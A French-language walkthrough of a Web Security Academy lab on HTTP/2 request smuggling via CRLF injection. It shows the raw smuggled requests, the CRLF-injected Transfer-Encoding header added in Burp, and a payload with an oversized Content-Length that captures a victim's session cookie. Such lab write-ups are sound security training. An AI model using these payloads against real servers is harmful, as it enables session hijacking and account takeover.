Smuggling HTTP/2 par injection CRLF

HTTP/2 request smuggling via CRLF injection

Lab: HTTP/2 request smuggling via CRLF injection | Web Security AcademyWebSecAcademy

Ce laboratoire est vulnérable au request smuggling parce que le serveur frontal convertit les requêtes HTTP/2 en HTTP/1 et n’assainit pas correctement certains en-têtes entrants.

L’objectif est d’exploiter un vecteur de smuggling spécifique à HTTP/2 afin d’accéder au compte d’un autre utilisateur. La victime consulte la page d’accueil toutes les 15 secondes.

On observe que l’application conserve un historique des recherches, lequel est lié directement au cookie de session.

On commence par envoyer une requête de test, mais aucun comportement anormal n’apparaît

Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net

Transfer-Encoding: chunked



0



GET /error HTTP/1.1

Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net

Content-Length: 18



test=testing

L’inspection montre que la validation des en-têtes liés à Transfer-Encoding est insuffisante. Nous tentons donc de contourner le filtrage : suppression du chunked original et ajout d’un nouvel en-tête arbitraire dans HTTP/2.

Transfer-Encoding: chunked

Dans Burp, on ajoute :

Name: 
test
Value:
test
Transfer-Encoding: chunked

Le serveur accepte la modification, confirmant une mauvaise sanitisation des en-têtes.

L’idée est de pousser la victime à faire une requête de recherche contenant notre propre cookie de session, tout en injectant un Content-Length excessif afin que sa requête suivante soit concaténée avec la nôtre.

Payload smuggled :

0



POST / HTTP/1.1

Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net

Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;

Content-Length: 850



search=x

Lorsque le serveur traite la requête suivante — celle de la victime — son contenu apparaît dans notre réponse, intégrant ses en-têtes et notamment son cookie de session.

Ainsi, nous pouvons voler la session de l’utilisateur et accéder à son compte.